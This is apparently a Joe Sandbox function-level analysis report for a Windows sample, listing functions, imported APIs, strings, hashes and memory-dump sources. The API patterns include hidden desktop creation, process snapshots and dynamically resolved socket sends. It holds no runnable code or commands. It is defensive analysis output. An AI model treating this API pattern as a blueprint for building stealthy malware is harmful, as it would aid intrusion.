Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: recv$Sleep$Unothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@
String ID:
API String ID: 3893897238-0
Opcode ID: fe5b39db66c9963d184e7a1a41c3f1a1ba330551145e1da4b7fb798c50c44156
Instruction ID: 6503759ae7e1dc2cadce461d974612af201aa7737f3f42486956b82516882bd8
Opcode Fuzzy Hash: fe5b39db66c9963d184e7a1a41c3f1a1ba330551145e1da4b7fb798c50c44156
Instruction Fuzzy Hash: BDE1E070908344EFDB15DBA8CC917ADBBF5EF56310F240299E841AB2D2DB705D8ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 0712D540 Relevance: 9.1, Strings: 7, Instructions: 352
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J9q=, xrefs: 0712D8C6
J9q=, xrefs: 0712D620
J9q=, xrefs: 0712D87B
J9q=, xrefs: 0712D5D5
50500, xrefs: 0712DAEE
J9q=, xrefs: 0712D996
J9q=, xrefs: 0712D9E1

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: std::exception::exception
String ID: 50500$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=
API String ID: 2807920213-4054434391
Opcode ID: db0e1bc54bfff10024d586104be81eb83b17eea896b745b7bb69b28cd13c508d
Instruction ID: 4c116bfc3e465a4acb46edb12aaa2ee575ac6ea0c042793ffaa8f3ca9613c7d1
Opcode Fuzzy Hash: db0e1bc54bfff10024d586104be81eb83b17eea896b745b7bb69b28cd13c508d
Instruction Fuzzy Hash: B712F2B4D052A8CBDB25CFA8C9917DDFBB1AF59300F1082D9D989A7391DB301A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00B2A790 Relevance: 7.0, APIs: 4, Instructions: 978COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 217ccd9a7808ad76e27a1187bbcca884a202ed3ad78697e4ba2418ed1f054cf9
Instruction ID: 39ed14ded2f918f064b1125df752862a855db75afd7860d24190802d86a4dc11
Opcode Fuzzy Hash: 217ccd9a7808ad76e27a1187bbcca884a202ed3ad78697e4ba2418ed1f054cf9
Instruction Fuzzy Hash: 5FA221B0C042689BDB25CF68DD84BEDBBB5AF59304F1482D9E449B7251DB306E89CF50

Uniqueness

Uniqueness Score: -1.00%

Function 07109080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 071090A3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,0717A928), ref: 07109114

Strings

d6Uktt3Cm1WoG67, xrefs: 07109089, 071090B2

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Desktop$CreateOpen
String ID: d6Uktt3Cm1WoG67
API String ID: 153846745-2287140631
Opcode ID: 6c0eab855fa7c0dcca1e2788cbf6c3133d56874aecb23d069b5a87cfd11b4ef5
Instruction ID: 762eca27c94ae013667596cc3ba4cbb77c5e9fd39561b0444e3c290c89d56b6e
Opcode Fuzzy Hash: 6c0eab855fa7c0dcca1e2788cbf6c3133d56874aecb23d069b5a87cfd11b4ef5
Instruction Fuzzy Hash: 7111B2B4E05209AFDB04DF94D955BEEBBB0AB08701F108099E910BB3C1C3B56A85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00DA50E6 Relevance: 1.6, APIs: 1, Instructions: 53processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00DA5122

Memory Dump Source

Source File: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: 5314365603e69dec64d26e508aa4531d1196b2123702473c0a9a83b5f4d774fc
Instruction ID: 58299a59be52fb8973d7c6e3a5881e21ea80fba0528d7606527742e88c0569c4
Opcode Fuzzy Hash: 5314365603e69dec64d26e508aa4531d1196b2123702473c0a9a83b5f4d774fc
Instruction Fuzzy Hash: D411297181D7D5AFE3135730DC950997FA1FE8322AB28895EE08207643C279A826CFD2

Uniqueness

Uniqueness Score: -1.00%

Function 00BAB380 Relevance: 1.5, Strings: 1, Instructions: 290COMMON

Download Yara Rule

Strings

%s|%s, xrefs: 00BAB646

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID: %s|%s
API String ID: 0-3399301454
Opcode ID: 859818c26233fc1fe6d7ca3c4739ed2ff3bdcd6eeceae2d26e5b6096c4f790bf
Instruction ID: 0dfac291e8bad8778f03f753422247cc03e6ba3187d78a14436799d9e778f1bc
Opcode Fuzzy Hash: 859818c26233fc1fe6d7ca3c4739ed2ff3bdcd6eeceae2d26e5b6096c4f790bf
Instruction Fuzzy Hash: 42B1DFB5D002089FDB18CFA4CC85BAEBBB4FF55300F144299F555BB292DB70A980CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 07112280 Relevance: 13.6, APIs: 9, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 071122AA
getaddrinfo.WS2_32(FFFFFFFF,00000000,?,00000000), ref: 07112300
WSACleanup.WS2_32 ref: 0711230F

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CleanupStartupgetaddrinfo
String ID:
API String ID: 3142474549-0
Opcode ID: 86369ea51fd3e1388a0e0fe686ec1146d2ad44b8697a52f1ad61a47dfce53f65
Instruction ID: 74a836831e53ed357ab7b8afecb3f4f6d0804d9f6c2fd4f6c4bd9e18a160e400
Opcode Fuzzy Hash: 86369ea51fd3e1388a0e0fe686ec1146d2ad44b8697a52f1ad61a47dfce53f65
Instruction Fuzzy Hash: 7D41B9B4D14209EFCB14DFA8D549AEDBBB4BB4D324F20865DE425AB2C0C7349A81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0714596C Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 071459B3
___scrt_uninitialize_crt.LIBCMT ref: 071459CD

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: fb5f7468692bf2c982d8c16984cfa24502a197ba9ea85509935883c7b80c9fc9
Instruction ID: 37fdd6da3801337162a9478e88d8a4e2b5b735eeab3b11f75e1669d6a226bdbe
Opcode Fuzzy Hash: fb5f7468692bf2c982d8c16984cfa24502a197ba9ea85509935883c7b80c9fc9
Instruction Fuzzy Hash: D841E3F2E0021AEFDB21AF59DC85BAE7A77EF80A64F104115E815671C0D7708E21DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AEA800 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 378
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00AEA959
___std_exception_destroy.LIBVCRUNTIME ref: 00AEA972
___std_exception_destroy.LIBVCRUNTIME ref: 00AEAB4E
___std_exception_destroy.LIBVCRUNTIME ref: 00AEAB67

Strings

value, xrefs: 00AEA8B3, 00AEAAA2

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: value
API String ID: 4194217158-494360628
Opcode ID: 9c6adb3db0b7526f4a3cdb4cc8eff93c2fd835426a0833bfa754a82d42d36fd5
Instruction ID: 29e46a6f0dfaf7a613d9f56cd7c7e02f6add973363bb089dfef81d47a3394fc7
Opcode Fuzzy Hash: 9c6adb3db0b7526f4a3cdb4cc8eff93c2fd835426a0833bfa754a82d42d36fd5
Instruction Fuzzy Hash: 6AF1F370D002889FDF14DBA5C984BEEFBB4BF65300F148299E455A7782DB746A84CF62

Uniqueness

Uniqueness Score: -1.00%

Function 00BC2CD0 Relevance: 7.8, APIs: 5, Instructions: 334
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(?,00000005,00000005,75923100), ref: 00BC2D0C
GetLastError.KERNEL32(?,00000005,00000005,75923100), ref: 00BC2D17
std::_Throw_Cpp_error.LIBCPMT ref: 00BC2D4E
std::_Throw_Cpp_error.LIBCPMT ref: 00BC2D5F
GetProcAddress.KERNEL32(-00000001,?), ref: 00BC3053

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$AddressAttributesErrorFileLastProc
String ID:
API String ID: 237602108-0
Opcode ID: 888b5fc22373c2aa3b359bf7f1aa4552bfaebcd2ffa959f58ad4a83083cc0c6c
Instruction ID: a60331ffbf011482b0bd8b99d97534f6621ffdf1a884d88b2d0b910681c8b971
Opcode Fuzzy Hash: 888b5fc22373c2aa3b359bf7f1aa4552bfaebcd2ffa959f58ad4a83083cc0c6c
Instruction Fuzzy Hash: A5C16CB5D04209ABCB14CF98D981BEDFBB5FF58314F1486ADE855A7340D730AA44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07145A1C Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 07145A59
dllmain_crt_dispatch.LIBCMT ref: 07145A70
dllmain_raw.LIBCMT ref: 07145AB8
dllmain_crt_dispatch.LIBCMT ref: 07145ACB
dllmain_raw.LIBCMT ref: 07145ADE

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: de2c5ade815badd6559939d7b87484afecd5a85c69adc2a8ceffeef8f53e21d4
Instruction ID: 952a68cdecbe54648331e3c4a75c8679e8dc6dcbdf96303b8a77c41c51ba7741
Opcode Fuzzy Hash: de2c5ade815badd6559939d7b87484afecd5a85c69adc2a8ceffeef8f53e21d4
Instruction Fuzzy Hash: 6E217CF2E0122AEBDB229F15CC84E6F3A7BEB80E94F154115FC0567290D7308E61CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AD81E0 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 530
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00AD8574
WSASend.WS2_32(?,?,00000001,00000000,00000000,00000000,00000000,?,Ws2_32.dll,?,?,?,?,00C288D8,00000000,00000000), ref: 00AD8589

Strings

Ws2_32.dll, xrefs: 00AD855A

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: AddressProcSend
String ID: Ws2_32.dll
API String ID: 3987619627-3093949381
Opcode ID: c03f9e3228f30f5b7f720ce97c46872ef6c08dde4ea823a8d1012a7f4006c672
Instruction ID: fc1846ea4976115560cfe40d682ff5af540039002af75a449cf4442ad047bee6
Opcode Fuzzy Hash: c03f9e3228f30f5b7f720ce97c46872ef6c08dde4ea823a8d1012a7f4006c672
Instruction Fuzzy Hash: AC121270D002489FDB28CF68DC94BADBBF1AF45714F18024EE4966B782DB74AD85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD7CC0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 431
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00AD8132
WSASend.WS2_32(?,?,00000001,00000000,00000000,00000000,00000000), ref: 00AD814B

Strings

Ws2_32.dll, xrefs: 00AD811E

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: AddressProcSend
String ID: Ws2_32.dll
API String ID: 3987619627-3093949381
Opcode ID: a6ef9d94741d2acf6077121af86f7d4e7bfb462d3d1fb24047a83ffcd55cc59d
Instruction ID: fac229d6c9af8560eeadcfc5308b20ef36f8a5c77e9dd0de7492a6d20efaced3
Opcode Fuzzy Hash: a6ef9d94741d2acf6077121af86f7d4e7bfb462d3d1fb24047a83ffcd55cc59d
Instruction Fuzzy Hash: BB029070A046458FDB39DF58C880B6DBBB1FF49314F24465EE4A29B791EB31AC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00D6C5F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00AD8132
WSASend.WS2_32(?,?,00000001,00000000,00000000,00000000,00000000), ref: 00AD814B

Strings

Ws2_32.dll, xrefs: 00AD811E

Memory Dump Source

Source File: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: AddressProcSend
String ID: Ws2_32.dll
API String ID: 3987619627-3093949381
Opcode ID: 225aa14cc12a3bd4ad4ecd4a274a236b10246fd1e3801a03db61715eea5e9343
Instruction ID: 8c64b1633ed59768cebd762a1435a8c9c27abcd738eaa669fe8990571c03aa9e
Opcode Fuzzy Hash: 225aa14cc12a3bd4ad4ecd4a274a236b10246fd1e3801a03db61715eea5e9343
Instruction Fuzzy Hash: B86159749047099FCB24CF58C8456AEFBB1FF88320F248A0DE4A6A7351DB346946CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2CC0 Relevance: 3.3, APIs: 2, Instructions: 266COMMON

Download Yara Rule

APIs

__Xtime_get_ticks.LIBCPMT ref: 00BB2FA1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BB2FAF

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@
String ID:
API String ID: 3390117325-0
Opcode ID: 5afb5f0273dfacf5ef9eb52dcaee6ffcb88ea2ca306c731fcd1c302633e26dfb
Instruction ID: 8170790b969c024c10d5ea2a95bab1c1e83e771f8ec5e87efe719ac9c4d85afd
Opcode Fuzzy Hash: 5afb5f0273dfacf5ef9eb52dcaee6ffcb88ea2ca306c731fcd1c302633e26dfb
Instruction Fuzzy Hash: 73A16871D012199FCB14DFA9C984BFEBBF1EF44710F2542A9E815AB290E7B0AD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B1368F Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(00000000,00000000,CF830579,?,00B13576,00000000,CF830579,00C48C68,0000000C,00B13632,00B0790D,?), ref: 00B136E5
GetLastError.KERNEL32(?,00B13576,00000000,CF830579,00C48C68,0000000C,00B13632,00B0790D,?), ref: 00B136EF

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: b3962e2930383356be2cb842e02b31c29906eafd747a1d603d8c6c9392781e55
Instruction ID: 055e18016281db3dcad15283b22a96fc3199e13b7f639b819d5b0b0f357b245c
Opcode Fuzzy Hash: b3962e2930383356be2cb842e02b31c29906eafd747a1d603d8c6c9392781e55
Instruction Fuzzy Hash: 9911083260C1647AD6142334AC89BFD77C9CB82B74FA502C9F918AB2D2FB659DC48650

Uniqueness

Uniqueness Score: -1.00%

Function 07112399 Relevance: 3.0, APIs: 2, Instructions: 25networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(?,?,?), ref: 07112349
WSACleanup.WS2_32 ref: 07112358
connect.WS2_32(000000FF,?,?), ref: 07112375
closesocket.WS2_32(000000FF), ref: 07112388
freeaddrinfo.WS2_32(00000000), ref: 0711239F
WSACleanup.WS2_32 ref: 071123AB

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Cleanup$closesocketconnectfreeaddrinfosocket
String ID:
API String ID: 2878866204-0
Opcode ID: 363f57f4bc5ca2b38c6af5bacd92f4744c9310f51fed7712e443a55e02f2cd43
Instruction ID: 099460f59df0d28b325a2cde601d5fbd5e31f078bafe79278075bafa6b5ba6e7
Opcode Fuzzy Hash: 363f57f4bc5ca2b38c6af5bacd92f4744c9310f51fed7712e443a55e02f2cd43
Instruction Fuzzy Hash: E6F0FEB4A14108EFCB18CFA4D5889ADB7B5BB4D324F208799E8155B2C0C7309E42DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00AF0640 Relevance: 1.9, APIs: 1, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
